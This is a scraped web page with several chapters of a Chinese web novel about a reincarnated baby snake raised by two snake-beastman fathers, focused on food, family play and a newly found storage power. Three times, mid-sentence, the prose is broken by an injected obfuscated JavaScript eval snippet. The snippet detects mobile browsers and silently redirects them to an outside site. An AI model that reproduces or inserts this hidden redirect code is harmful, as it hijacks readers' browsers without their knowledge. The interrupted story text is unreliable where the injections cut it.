窝里的小蛇又翻了肚皮，若非能清晰地瞧见呼吸起伏，他阿爹阿父又要被吓得大惊失色了。 最近雨下得少，山洞外的灶台又开始启用，这会儿里面正蒸着土豆。 两条大蛇纠缠在一起，彼此依恋。 小蛇呼呼睡着翻了个身，肚皮朝下打了个哈欠，迷糊着看了眼天色，又陷入梦乡中。 伴着香味入梦，梦里也被土豆泥塞满了。 香浓的肉酱浇在土豆泥上，看得小蛇直流口水，视线一转，又瞧见有双无形的大手在给土豆泥撒调味，还有搓成土豆丸子的，看着就馋。 崽崽都想吃。 正馋着呢，视角转换，游远仿佛回到了学生时期，正在回答班上女生对于金手指偏好的问题。 他习惯性地吐了下信子，女生表情一言难尽地看着他。 游远：‘……’ 羞赧欲逃，但莫名跑不了。 游远努力找回说人话的本领，咳了声道：“金手指的话我喜欢空间啦，最好能种植能储物，储物的地方还要时间静止。要是有灵泉就最好了，种什么活什么，一口下去活到九十九，嘿嘿~” “……” 这话音都还没落下呢，梦境就又换了一个，小蛇意犹未尽地bia叽了下嘴，看见前面有一只香喷喷的烤全羊，立刻飞了过去。 嗷嗷嗷这个崽崽也喜欢！ 梦境外。 土豆蒸好，岩丘起身在桶里洗了把手，把土豆夹出来开始碾土豆泥。 青蛇懒怠地歇了会儿，游走了。 等到岩丘准备好土豆泥，又将炒好的肉酱淋在上面时，泡完澡的青芽才慢悠悠走来。 他来到蛇崽窝前，挠了挠小蛇的痒痒肉。 被挠的那块肉不受控制地蛄蛹起来，青芽笑了下，盯着那块痒痒肉挠。 躲不掉。 游远不开心地睁开眼，‘阿爹！’ 青芽笑眯眯，“崽崽，可以吃土豆泥了哦。” 游远闻言，咂摸了下，道：‘可是我现在想吃烤全羊。’ 这想法变得有够快的，不过阿爹纵容。 青芽只是问道：“羊是什么？” 他好像听过这种动物，但想不起来了。 游远见阿爹没有满口拒绝，便高兴地将脑袋搭在了阿爹手上，说道：‘羊是这么叫的，咩~~~’ 哦，咩咩兽啊。 青芽也想起来他是在哪听过‘羊’了，隔壁部落的兽人偶尔会这么称呼咩咩兽。 他摸摸小蛇，“那我们现在去吃土豆泥，然后再弄咩咩兽吃？” ‘好呀好呀！’ 土豆泥绵密入味，混着肉粒好吃极了。 游远幸福地晃着脑袋摇尾巴。 岩丘见状，忍不住伸出手，按住了他的尾巴。 ？ 小蛇尾巴本能地摆动起来，缠住岩丘的手死死不放。被影响到进食的小蛇扭过头，盯着偷偷使坏的阿父。 岩丘面不改色，勾着尾巴往上提了提，笑着对小崽道：“看，崽崽很有力很健康哦。” 游远怀疑阿爹在驴他。 但蛇崽现在笨笨的，没办法找到佐证，只好将信将疑地松开了尾巴。 岩丘勾唇，见蛇崽还在盯他，又快速拉平：“快吃吧。” ‘哦。’ 游远转回脑袋，再度朝着阿爹张大嘴。 香喷喷的土豆泥落入口中，小蛇又开心地摇头晃尾起来。 青芽和岩丘对视一眼，眼里的笑意根本藏不住。崽崽嘛，生下来就是要玩的，不然多浪费啊。 小蛇每次的进食量都不多。 喂完半碗土豆泥，见他低下头开始蹭布帕，青芽便收回了手，重新往碗里添入一大勺肉酱，和岩丘两口分吃完碗里的土豆泥。 游远擦完嘴巴，抬头：‘阿父，我想回去晒太阳。’ 岩丘倒是没拒绝。 不过…… 他将手伸到小蛇面前，说道：“自己游上来。” 游远盯了两秒，去看青芽，‘阿爹~~~’ 青芽笑着去盛土豆泥，闻声只笑眯眯道：“崽崽，你先选的你阿父哦，不可以变的。” 游远哼哼两声，只好带着饱饱的肚皮往阿父手上爬。 等小家伙身体全部进入掌心，岩丘伸出另一只手，戳了戳小崽的肚皮，“扁扁的。” 游远自有一套逻辑，‘吃太多会被压吐哒！’ “就你会骗人。”岩丘笑，“那么多蛇兽人，就没听有谁被自己压吐过。” 游远尾巴勾着阿父的手指，哼哼唧唧：‘就是会吐的嘛！’ 小崽撒娇。 岩丘闭上了嘴。 · 崽崽在窝里睡觉，阿父躺在旁边看崽，阿爹出去抓咩咩兽。 游远先前睡得太久，这回没一会儿就醒来了。 他竖起脑袋前后左右瞧了一圈，又往附近的树上瞧了瞧，确定没有看见阿爹的身影，翘起的尾巴尖放平，但很快又翘了下。 小蛇游出了窝，直奔旁边的大蛇。 大蟒蛇身子粗，扭了几个弯摆在一处，瞧着很适合冒险的样子。 游远盯着瞧了瞧，游到阿父面前，确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251865|182001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定他还睡着没有醒来后，又挪到最粗的蛇身处，开始往上游。 不会爬树没关系，先从矮的开始练。 能爬阿父就能爬树！ ‘睡着’的岩丘睁开眼睛，扭着脑袋看蛇崽忙忙碌碌，还在原地打转。 “……” 算了，还是继续睡吧。 回头这崽要是发现他瞧见了这一幕，怕不是又要哭哭啼啼。 说起来他和青芽都不爱哭啊，这究竟是随的谁？ 在大蛇的放任下，游远努力了好久，终于把自己挂到了阿父身上。他正气喘吁吁地歇息着呢，听见有东西滑动的声音在靠近。 游远换了个姿势，整条贴在阿父背上，游到蛇头处抬头看去。 是带着猎物回来的阿爹。 小羊已经被剥了皮，没有脑袋，血水也被冲得干干净净，一瞧就是可以直接上手烤的模样。 ‘阿爹！’ 小蛇声音轻快，还透着点甜。 青芽说道：“我去拿个盆出来装肉。” ‘好哦~’ 目送阿爹离开，游远低下头，看着阿父的大脑袋，张嘴—— “嘶——”岩丘瞬间变成人形，从脑袋上把小崽子抓下来，盯着他：“你做什么，总不会是又想吃蛇肉了吧？” 游远无辜：‘阿爹打猎回来啦，阿父不可以赖床，要一起去干活。’ 岩丘：“……” 见阿父沉默，游远茫然地缠住他的手指，‘我咬得很疼吗？’ 他不是故意的。 是之前阿父说他牙齿嫩，根本没攻击力，这才放心地张嘴去咬…… 岩丘手指轻点他的脑袋，“不疼，但你给我注毒了。” 游远：？ 游远：！！！ ‘阿爹呜呜呜！阿爹你快出来啊！阿父要被我杀死啦！呜呜呜阿爹你快救救阿父呀！’小蛇张嘴就来，眼泪吧嗒吧嗒掉。 岩丘：“……” 青芽抱着装了猎物的树干盆出来，简直要惊呆了：“你怎么杀的？” 他崽这么牛的吗？三月月龄捕杀亲父。 岩丘没好气地捏住小蛇嘴巴，“你那点毒还想毒死我呢。” ‘呜呜，呜？’ 游远掉着眼泪珠子，还不忘担心地看阿父脑袋。 毒哎！从脑袋进去哎！ 真的不会死掉吗？ 不死的话，会不会变傻？那他是不是要带着阿父搬出去住？ 阿爹养两条疯兽人会很辛苦吧。 虽然不知道崽在想些什么，但岩丘还是出于警惕，用力搓了搓蛇崽脑袋，打断他的奇思妙想。 青芽这会儿已经放下肉走过来，瞧见岩丘脑袋上肿了个大包，再联系他们俩方才的话，顿时乐不可支：“崽啊，你是怎么想到往这儿咬的？” 游远抽噎着，见阿爹阿父都很淡定的样子，勉强镇定下来，委屈道：‘我刚好在他脑袋上嘛。’ 顺口就下去了。 他可怜兮兮的，岩丘受了伤，反倒还得安抚他，“别担心了，你长你阿爹这么大也毒不死我，蛇兽人是不怕蛇毒的。” 小蛇还含着包眼泪，闻言抽咽着后怕道：‘蛇还自带抗体啊。’ 青芽和岩丘没听懂。 不过瞧他渐渐缓过来了，两人也懒得纠结用词，胡乱应是。 岩丘要将小家伙放回窝里，游远缠着他的手指不肯下去，眼巴巴地瞧着阿父脑袋：‘阿父，我可以待你脑袋上吗？’ 岩丘笑他：“还想啃一口？” 听他提起这事，后怕又涌现出来，小蛇委屈：‘呜——我不咬了呜呜——’ 青芽：“让你逗，又哭了吧。” 岩丘自找苦吃，叹了口气，重新开始哄蛇崽。 好在已经确定阿父不会有事，小蛇好哄得很，不一会儿，岩丘就顶着蛇崽来到了青芽身边，一起忙活。 9. 第 9 章 香香的烤全羊从火堆转移到了桌上，小蛇也被岩丘从头顶上摘了下来，乖乖待在饭盘前，旁边是装了水的小碗，和擦嘴用的布巾。 青芽拿着巴掌大的细长骨刀分割肉块，先给游远喂了一口什么都没蘸的。 游远幸福晃尾巴，‘好吃好吃~’ 看他这般，青芽和岩丘都忍不住笑意，又给他夹了一块蘸了酸果酱的肉。 酸果酱酸酸甜甜，配着重口味的烤肉，味道很是独特。 小蛇继续晃尾巴。 看得当阿爹阿父的心头发软。 大概是在梦里被馋狠了，游远今天多吃了好几口，停下来的时候感觉肚子都鼓起来了，他不是很习惯地适应了下新状态，拒绝了阿爹送来的肉肉。 ‘饱啦！’ 没能骗崽再多吃一口，青芽有些遗憾，说道：“那喝点水，去窝窝里晒太阳？” ‘好的哦~’ 游远凑到碗边，埋进去咕咚咕咚喝了好几口，然后挪到布巾旁边，上下左右仔细擦过嘴巴，期待地看向青芽。 “我来。” 岩丘把肉丢进嘴里，将干净的那只手送到游远面前。 游远：‘……’ 讨厌的阿父，就不能把他抓起来嘛。 小蛇哼哼两声，带着胖胖的肚子游到阿父手上，团成一团开始生气。 岩丘见状，忍不住勾唇，示意青芽看小崽。 哎呀，生气了哇。 真可爱~ — 复苏季的晴天很稀少。 细细密密的雨水又落了下来，晒不到太阳的小蛇不想回山洞，被连窝带崽地安顿在了山洞口稍微靠里的位置。 风吹过，雨丝随之而来，落在鳞片上很是舒服。 游远舒展了下身体，又扭了两圈，将脑袋搭在身体中段，打了个大大的哈欠，睡觉觉。 兽形状态的岩丘从山洞里游出来，告别青芽后，抬起蛇尾轻轻敲了小崽脑袋一下，这才出门去。 游远被阿父砸醒，还没来得及抱怨，就见大蛇游到了雨里，不由往窝边边游了游，问阿爹：‘阿父去做什么呀？’ “他今天要去狩猎队，晚点带咕咕兽回来，想不想吃？” 咕咕兽？ 游远凭借这些日子捕捉到的规律，问：‘是鸡吗？’ “应该是吧。” 青芽也不知道他说的鸡是什么。 游远脑袋趴边边，有些期待。 青芽将一道带出来的薄兽皮堆放在崽窝的一侧，提醒小蛇：“冷或者要睡觉的话，记得游到兽皮里面哦。” 游远不解：‘为什么呀？’ 青芽已经变成兽形，脑袋搭在身体上，视线只略高于崽窝，道：“你还小，天冷的话很容易进入深眠。” 他们家崽本来就吃得不多，要是进入深眠状态，回头饿醒又要嗷嗷哭了。 不知道阿爹的腹诽，游远乖乖点了点头，享受了会儿雨丝淋到身上的感觉后，就顺着兽皮的缝隙，将自己整个藏了进去。 一时间，周围只剩下风声，与树叶碰撞的轻微声响。 · 差不多过去大半天的时间，出门捕猎的雄性兽人才回家。 青芽睁眼，看见他进来，变成人形舒展了下身体，问道：“今天不顺利吗？” 出门的时间有些长了。 岩丘放下鸡，跟着变成人形，回答：“还好，就是找猎物花了些时间。” “哦。” 三两句交流完出门在外的事情，他们又开始琢磨这咕咕兽要怎么做，家里的小崽才能多吃两口。 讨论来讨论去，青芽摸着下巴道：“小远没吃过焖烤的肉吧？” 岩丘：“是。” 他很快意会到青芽的想法，说道：“我去采荷叶。” “行，我把肉处理了，去林子里弄点菌菇回来。” 两人商定，立即分散开，要去干活。 睡得迷迷糊糊的游远捕捉到菌菇两个字，努力醒过来，从兽皮下探出脑袋时，阿爹阿父都已经不在窝边了。 小蛇呆滞了会儿，顺着窝边边爬了出去，三步一歇地往山洞里去。 青芽端着热水出来，正好遇上他，见小蛇埋头往里面爬，奇怪地喊了一声：“崽？” ‘嗯？’ 游远被睡意占据的大脑重新清醒，扬起脑袋看见阿爹，立刻欢快地凑了过来：‘阿爹阿爹，你刚刚是不是说想要去采菌菇呀？’ “是啊。”青芽把盆放远了点，托起小蛇放到肩膀上，说道：“小远也想去？” ‘想~’ “那就一起去，等阿爹先把咕咕兽收拾出来好不好？” ‘好的哦~’ 他们回到山洞口的位置，青芽将小蛇放回了窝里，然后才带着咕咕兽往外走了些，在洞口前收拾猎物。 游远趴在窝边边上，看着青芽拔鸡毛。 咕咕兽原来真的是鸡呀，那鸭子是什么，嘎嘎兽？ 也不知道是哪儿戳中了他的笑点，小蛇在窝里乐不可支，欢快地扭着身体。 青芽很快收拾好鸡，将肉放回山洞里后，打扫干净方才弄脏的地方，拿了大兽皮袋和装小蛇的袋子出来。 游远看见青芽手里拿着的东西，后知后觉想起来外面在下雨，有些担心地道：‘阿爹，我在家等你吧，你带着我会好麻烦的。’ “不麻烦。” 青芽将小袋子放到他窝里，挑开一条缝方便小蛇钻进去，同时说道：“就在自家领地里，一会儿就回来了。” 领地？ 小蛇没有这个概念。 但阿爹这么说，听上去好像很近的样子，于是立即开心地游进了小袋子中。 青芽将小袋子挂在脖子上，拎着大兽皮袋直接出了山洞。 小蛇探出个头来。 经过大树底下，一颗水珠砸下，落在了小蛇的头顶，圆润晶亮。 游远甩了甩脑袋，把水珠甩了出去。 正如青芽先前所说的，他们离开山洞后没过太久，就遇到了需要的菌菇。 游远察觉到视野在降低，放弃甩掉雨丝和水珠的行为，探着头看去，一小片鲜美可口的香菇正安静地待在枯枝缝隙里。 哇，看着好肥美，香香。 ‘阿爹，要多多的~’ ‘好。’ 青芽挑着好看的香菇采了下来，放到兽皮袋子里后，继续往前。 游远忍不住扭着脑袋去看方才的木头，有些不舍地说道：‘阿爹，我们不采完吗？’< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251866|182001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 青芽道：“领地里有很多这种菌菇，挑好看的就够了。” ‘哦……’ 游远恋恋不舍地收回脑袋，就见阿爹又蹲了下来，这回依旧是一根被砍断的树枝。 树枝上的香菇比先前的要多一些，但都不太漂亮，他阿爹采的数量更少了。 父子俩一边走一边采，遇到了好多好多砍落的树枝。 游远终于忍不住，问道：‘阿爹，为什么这些树枝都被砍下来了啊？’ 青芽丢掉不小心采下来的丑香菇，说道：“不砍树枝的话，它们会把太阳彻底遮挡住，不舒服。” 蛇兽人喜欢湿热的环境，树木太茂密的话，就不够热了。 小崽似懂非懂地点着脑袋，又问道：‘这里都是我们的领地吗？’ “是我的领地。”青芽道，“你阿父的领地在隔壁山头。等你大了，也会有单独的领地。” ‘哇——’ 小蛇震惊地张大了嘴，忍不住期待道：‘领地是随便我们怎么弄的吗？’ “差不多，但不能砍太多树。” ‘为什么？’ “没有树的话，炎季会很难度过，暴雨期还有可能会被雨冲垮领地。” 又是两个没听过的名词，不过大概能猜出来指的是什么，游远了然地点了点头，接着追问：‘我要多大才会有领地？领地会有多大？’ 青芽：“分化后都可以，成年之前的领地不会太大。成年之后……看你想要多大。” 蛇兽人对领地的占有欲没那么强，也不太在乎大小，个别蛇族甚至二三十兽人共享一块领地。 游远忍不住期待起长大之后的样子来，过了会儿才想起来另一点，‘分化是什么？’ “你现在是无性别小蛇，十岁以后会分化，然后才能知道是亚兽还是雄性兽人。” 无性别小蛇。 奇奇怪怪。 游远忍不住钻进袋子里，扭着身体找自己的泄殖腔，想看看有没有丁丁。 蛇崽还太小，小蛇又不敢用脑袋扒拉泄殖腔，努力半天什么都没有瞧见，不过他脑瓜子这会儿也反应过来了。 不管是亚兽和雄性兽人，对应他原本的世界都是男性，没有丁丁才奇怪啊！ 话说，都有丁丁的话，蛇蛇是怎么生崽的？ 小崽沉思，跃跃欲试探头。 挨打的话还没有问出口，游远看见一丛漂亮的松茸，眼见着阿爹就要走过去，扭着身体着急道：‘阿爹阿爹，我要下去！’ 青芽：？ 青芽把小蛇从袋子里掏出来，将他放到了地上。 就见游远以一种从来没有过的速度，直奔侧后方的一丛菌子，然后一脑袋撞到了菌子上，晕晕乎乎停住。 青芽：“……” 刹车失败的游远晕乎着，还不忘惦记那松茸，扭着脑袋去瞧。 嗯？ 他的松茸呢？ 原本往这边走过来的青芽也停住了脚，和晕乎的小崽不同，他是亲眼看着被游远撞倒的松茸是怎么凭空消失的。 兽人思维简单，惊诧过后，很快想到答案：“崽，兽神的赐福已经给你了吗？” 游远更茫然，‘我不知道呀。’ 为什么忽然说起这个？ 10. 第 10 章 青芽在游远身边蹲下来，点了点方才那菌菇所在的位置，“它刚刚就在这，是忽然不见的。” ‘哎？’ 小蛇脑袋凑到阿爹手指边，信子轻吐。 正下着雨，旁边又是一丛松茸，游远完全捕捉不到那朵松茸停留的气息。但小蛇相信阿爹，他努力回忆了下，确定道：‘我没有晕过哎。’ 阿爹不是说赐福会晕晕的吗？ 青芽被他的思路带跑，指出来道：“你刚刚晕了啊。” 小蛇歪头。 他刚刚晕不是被撞的吗？ 父子俩对视片刻，选择放弃纠结缘由，而是开始摸索‘赐福’的内容。 能让东西忽然消失…… 前两天做的那个梦，忽然就在小蛇脑海里清晰起来，他努力想象了下空间的模样，然后什么都没感知到。 趴趴，好累呀。 青芽蹲在旁边，戳戳崽：“没有找到吗？” ‘没。’小蛇打哈欠，‘阿爹我想睡觉了，我们以后再找吧。’ 青芽：“……” 算了，崽还小呢，知道赐福已经到了就行。 反正兽神大人不会欺负兽人。 青芽伸手将小蛇放进布袋里，顺手把崽子感兴趣的这种菌菇摘下来，然后继续去找形状漂亮的菌菇。 游远回到小布袋里，打着哈欠拱了拱，寻找到合适的姿势准备睡觉时，视野里忽然一个闪现变化，灰色的空间飞速出现又消失，里面还有那朵消失的松茸。 小蛇顿时来了精神，按照刚刚看到的东西，努力集中注意力。 视野又开始闪现变化。 游远玩了会儿，感觉这跟先前转换蛇类视野的方法有点像，他顺着感觉试了试，那个空间很快就能稳定且长时间地出现了。 所以，要怎么把松茸拿出来呢？ 想法刚刚冒出来，空间里的松茸凭空出现在兽皮袋内，吓得游远‘嗷’了一声，‘阿爹！救救！’ 青芽低头，看见松茸从兽皮袋里露出半截来，抬手将东西抽出，笑着问道：“找到兽神大人的赐福了？” ‘嗯嗯嗯！’游远探出头来，‘有一个好大好大的地方！’ 空间瞧着有四五十平大小，能放不少东西呢。就是瞧着没有他梦里想过的那些特殊功能，可能兽神大人是不想让他太依赖金手指吧。 但小蛇还是很开心的！ 游远晃着尾巴，主动提出要帮忙：‘阿爹，把香菇给我吧！这样你就只用带着我了。’ “好啊。” 青芽笑着，将装香菇的兽皮袋提起，游远扬着身子，盯着那个兽皮袋子凝神想了好一会儿，却什么都没有发生。 ？ 小蛇不服气，‘阿爹你等等哦。’ 他往上探了些身子，将脑袋搭在阿爹锁骨上，然后努力爬出来袋子，游到手上，将尾巴搭在了兽皮袋子上。 这回，兽皮袋子被成功收入空间。 崽崽高兴地吐了吐信子，转移视线看向阿爹。 青芽摸摸他的脑袋，“小远好棒。” ‘嘿嘿~’ · 弄一只鸡其实不需要多少香菇，但架不住小蛇对什么都感兴趣，父子俩在林子里待了好一会儿，听着雨滴击打树叶的声音渐大，这才快速跑回山洞里。 岩丘已经回来有一会儿了，正在火塘前烧火，看见他们匆匆回来，青芽手上又没拎其他东西，有些疑惑：“刚刚遇到什么事了吗？” 青芽笑而不语。 游远开心地道：‘阿父阿父，兽神说的赐福到啦！我可以带着好多好多东西哦~’ 说着，游远就把空间里的香菇给放了出来，‘看！’ 最先坠落的是兽皮袋子，然后是后面零散收进去的、他阿爹辛苦挑出来的漂亮菌菇。 “……” 青芽闭上了眼。 岩丘眼疾手快捞住兽皮袋子，看着那些菌菇在地上摔得乱七八糟，不由觑了眼青芽的脸色，然后摸摸小蛇脑袋，“真、真好哈哈，以后你搬食物就方便了。” 游远骄傲：‘是哒！’ “我去洗菌菇。” 青芽眼不见心不烦地把崽交给岩丘，拎过他手里的兽皮袋子，带着盆出了山洞。 忽然换了地方，游远疑惑仰头，看向岩丘：‘阿父？’ 岩丘捧着小蛇，笑着点了点他，说道：“下次别当着你阿爹面把食物摔下来了，他不喜欢形状不好看的食物。” ‘哦……好的。’游远才知道这点，‘那我去找阿爹道歉。’ “不用。”岩丘将他放到地上，开始收捡地上的菌菇，“等下切片烤着吃，看不出摔过的痕迹就行。” 应对经验也是十分丰富了。 闻言，游远游到一朵香菇前，张嘴比划着，想要将其叼到阿父身边去。 岩丘就在不远处，长臂一身，直接将其捡起丢到了盆里，说道：“玩别的去，别咬这些菌菇，有些菌菇直接吃会中毒的。” 游远：‘……’ 他当然知道！他又不是笨蛋！ 小蛇气呼呼地扭头就走。 · 岩丘和青芽先后将菌菇洗好，又洗了两个土豆削皮切块，同香菇一起塞进腌制好的咕咕兽肚子里，捆好后依次裹上荷叶和泥巴。 准备好的咕咕兽埋到火塘里，将火块拨到灰上，再在上面重新堆好柴火。 “崽，你想要的那个菌菇要怎么吃？” 游远从阿爹阿父的蛇蜕中探头，‘要切片煎着吃，就是放在石板上那样。’ “行。” 青芽去切菌菇，岩丘把石架挪到火塘上。 火焰石石板被火焰燎红，薄厚均匀的松茸片铺在上面，什么都不用放就香香的，也可以撒上一点食盐或者椒盐粉，小蛇一口一片，吃得十分欢快。 因着游远表露过明显的喜欢，青芽特意采了许多松茸，现下喂饱小蛇崽之余，他和岩丘也吃了不少。 叫花鸡烧制的时间很长，游远吃饱后喝了几口水，在山洞里慢吞吞游着，探索阿爹阿父布置出来的小家，等他探索得差不多回到火塘边时，肚子里的松茸片已经消化得差不多了。 ‘饿~’ 小崽游到两人中间，拖着声音撒娇。 岩丘估计了下时间，对青芽道：“应该差不多了，弄出来瞧瞧？” “可以。” 青芽起身拿了个盆过来，岩丘拨开柴火和火块，将里面的烧鸡给翻了出来，夹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251867|182001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起放到树干盆中。 敲掉表面干硬的泥壳，随着一层层荷叶被剥开，浓郁的香味在整个山洞里蔓延。 游远眼巴巴。 将咕咕兽连着里面的两层荷叶一起转移到大盘子中，岩丘对小崽道：“往桌子那边游，不在这儿吃。” ‘好的~’ 游远努力游动。 岩丘将盘子放到桌上，青芽拿了碗筷勺子和小刀过来，先舀了点汤水到碗里，然后割掉捆咕咕兽的麻绳，夹出里面的菌菇土豆放到碟子中，全部切开。他忙忙碌碌，岩丘也没闲着，就站在旁边用筷子给崽子撕肉。 等游远游到桌子脚下时，他阿爹阿父已经准备好了他的餐食。 小蛇被大人捞起，放到了餐桌上，看着堆得满满当当的饭碟，小蛇开开心心：‘那我先吃啦~’ “吃吧。” 青芽和岩丘搬了凳子来，也各自拿着筷子品尝美食。 一只咕咕兽对成年蛇兽人而言，也就是塞牙缝的量，若非得了个一天要吃好几顿的崽，青芽和岩丘十天半个月才会弄一口尝尝。 他们不饿，也就尝个味道，便优先喂饱小蛇。 鸡肉鲜嫩多汁，软烂脱骨，入口即化，荷叶的清香完美融入其中。土豆软糯美味，香菇更是吸饱了汤汁，小蛇简直要被这一顿给香晕了。 青芽：“崽，这个土豆炖的好软，比你碟子里那几个好，尝尝？” ‘啊——’ 岩丘：“小远，这块皮带点焦，味道不太一样，吃一点？” ‘啊——’ 阿爹阿父左一口右一口，忽悠着小蛇把肚子吃大了一圈。 游远想要喝汤时，才发现身体有点不对劲，他扭着身子往后瞧了瞧，盯着胖胖的肚子陷入沉默。 岩丘和青芽对视一眼，默契地把夹起来的菜送进嘴里，假装什么都没有做。 小蛇扭了扭身子，为离去的苗条身材悲伤了两秒，然后果断投入鸡汁的怀抱。这种叫花鸡焖出来的鸡汁最香了，荷叶、香菇和鸡肉的滋味完美融合在一起，一口下去，把小蛇美得直摇尾巴。 · 日子一天天地过，时间来到了炎季。 炽热的太阳落在身上，几乎要将蛇晒晕过去，游远没什么精神地挂在树枝上，一动也不动，宛如一条死蛇。 出去捕猎的岩丘回来，见崽还在原位没动，有些疑惑：“小远？” ‘嗯？’细长的小青蛇扬起身子，看见阿父立刻呼救：‘阿父阿父，你捞我一把，我下不去啦！’ 岩丘：“……” 他无语地将小蛇捞了下来，说道：“怎么上去的怎么下来不就好了？” 游远叹气，‘我恐高。’ “……” 这词虽然没听过，但能猜到意思。 岩丘一时间不知道该说些什么，可想想小家伙自从出生后，展现出来的那些堪称生活不能自理的能力，他又释然了。 只是不敢下树而已，比刚开始不会进食不会游要好。 释然的阿父反过来安慰小崽：“没事的，等大点儿能变人形了，咱们用人形下来。” 小崽往前游着，脆生生回答：‘我也是这样想哒！’ 真是一点都不内耗呢。 11. 第 11 章 父子俩回到山洞前时，青芽还没有从采集区回家。 游远跟在岩丘脚后跟晃悠，随着他拿了刀和盆，又往林子里游了一段后，不得不气喘吁吁地停下来，眼巴巴地看着阿父消失在视野里。 不能跟上去，一条蛇好无聊。 小蛇趴趴。 进入炎季之后，阿爹阿父可能觉得他不会夭折了，就没再时刻陪在他身边，经常忙着自己的事情而忽视掉小蛇——游远也不是非要阿爹阿父陪着他啦，他就是一条蛇有些无聊，想找点乐子而已。 歇了会儿，游远看见不远处有蛇莓，游过去张大嘴咬了一颗。 酸酸甜甜的，还挺好吃。 游远前世生活的世界也有蛇莓，不过长辈们都说那上面沾了蛇的口水，有毒，不让小孩儿吃，因而他也无法对比两者的差别。 反正，他现在喜欢这个！ 游远又吃了两个，从空间里放出一个碟子，开始摘果果。 一颗颗漂亮的蛇莓堆在碟子里，小蛇来回忙碌着，将自己能够到的蛇莓全部摘了下来，堆了满满当当一碟子。 围着蛇莓小山转了一圈，游远很是满意地点了点头，抬起尾巴搭在碟子上，将东西收到空间里，继续在山里溜达。 阿爹的领地很大很大，至少对小蛇而言是这样的。 游远溜达了许久，也还是在家门口晃悠，准备好午餐的岩丘出来，没一会儿就找到了他。 “走吧，回去吃饭。” 岩丘上前，半蹲下身子，朝着游远伸手。 如今游远已经不奢求阿父能把他抓起来了，自己吭哧吭哧爬到他肩膀处，在岩丘脖子上绕了一圈稳住身体。 ‘阿爹回来了吗？’小蛇问。 “回了，还摘了好些玉米，给你煮了一节。” ‘好哎~’ 小蛇开开心心晃着脑袋。 随着岩丘的步伐，父子俩回到山洞前，游远一看见青芽的身体，就忍不住竖起身子来，欢快打招呼：‘阿爹~我回来啦~~~’ 青芽听见崽这小动静就开心，声音也跟着放软了：“回来啦，玩得开不开心？” ‘开心的！我还给你们摘了果子哦！’ “崽崽真好。” 青芽伸手摸了摸小崽的脑袋，一家三口进入山洞里面吃饭。 炎季的太阳酷烈得宛如一个大火炉，唯有森林的遮挡能够带来足够的寒凉。这样的高温对所有兽人而言都不太友好，不太一样的是，其余族的兽人时常会变成兽形晒晒太阳，蛇族却是躲着太阳最好的时间生活的。 今天的午饭是蒸玉米和肉馅饼，青芽拿起提前打湿的布巾，给小蛇擦了擦身体，等小家伙舒服成软软一条后，才将他放到桌子上。 碟子里放着切好的玉米粒和馅饼块。 游远张大嘴，啊呜咬了一大口玉米粒，口腔挤压着尝了尝香香甜甜的滋味，便将其全部咽下。 青芽已经坐下来，拿起筷子给游远夹了块馅饼，等着小蛇张大嘴等投喂。 游远吃完玉米粒，看见岩丘在收拾东西，不由有些奇怪：‘阿父在做什么？’ “下午我们要换个地方住。” 游远：？ 青芽夹着馅饼块在小蛇面前晃悠，等他张开嘴，将肉馅饼放进去后，才开口给小崽崽解释：“你阿父领地里的水要多些，炎季住在那边会很舒服。” 同属蛇族，蛇对环境的喜好也有所不同。 青芽要更喜欢温暖一点的地方，而岩丘则对水源的需求比较高。为了避免岩丘炎季会因为没有足够的水而进入夏眠，夫夫俩每年都会换着地方住。 今年因为多了只娇气小崽，他们要带过去的东西也跟着增多，所以要提前收拾。 游远吃着香香的馅饼，听阿爹讲述搬家的原因，傻乎乎地呆了一小会儿，问道：‘阿爹，我也要泡水吗？’ “当然。” 游远张嘴，闭嘴，又张嘴，终于没忍住：‘阿爹，一定要吗？’ 青芽摸摸小蛇脑袋，“是的呢。” 游远沉沉地叹了口气，仿佛不是要他去泡水，而是要送他去挑战刀山火海。 不过对于小蛇崽而言，这两者也差不多就是了。 毕竟，作为一条在地上游都游不好的蛇，让他下水着实是有些强蛇所难。 · 收拾好的东西堆放在一起，由小蛇收进空间之中，岩丘变成兽形，等青芽将蛇崽放到自己脑袋上后，与变回兽形的青芽并行出门。 成年蛇兽人的速度极其快，茂密的草丛与倒翻的树干阻挡不了他们半分，没有过去太久，他们便跨越山林来到了岩丘的领地边缘。 “到了。”青芽道。 被提醒的小蛇趴在阿父脑袋上，左瞧瞧，右瞧瞧，没瞧出这儿和阿爹领地的差别。 不过随着阿爹阿父逐渐进入领地，哗哗的溪水声出现在耳边，然后出现在视野里的便是一条足有五米宽的山溪。 “崽，我们要入水了哦。”青芽笑着道。 游远：！ 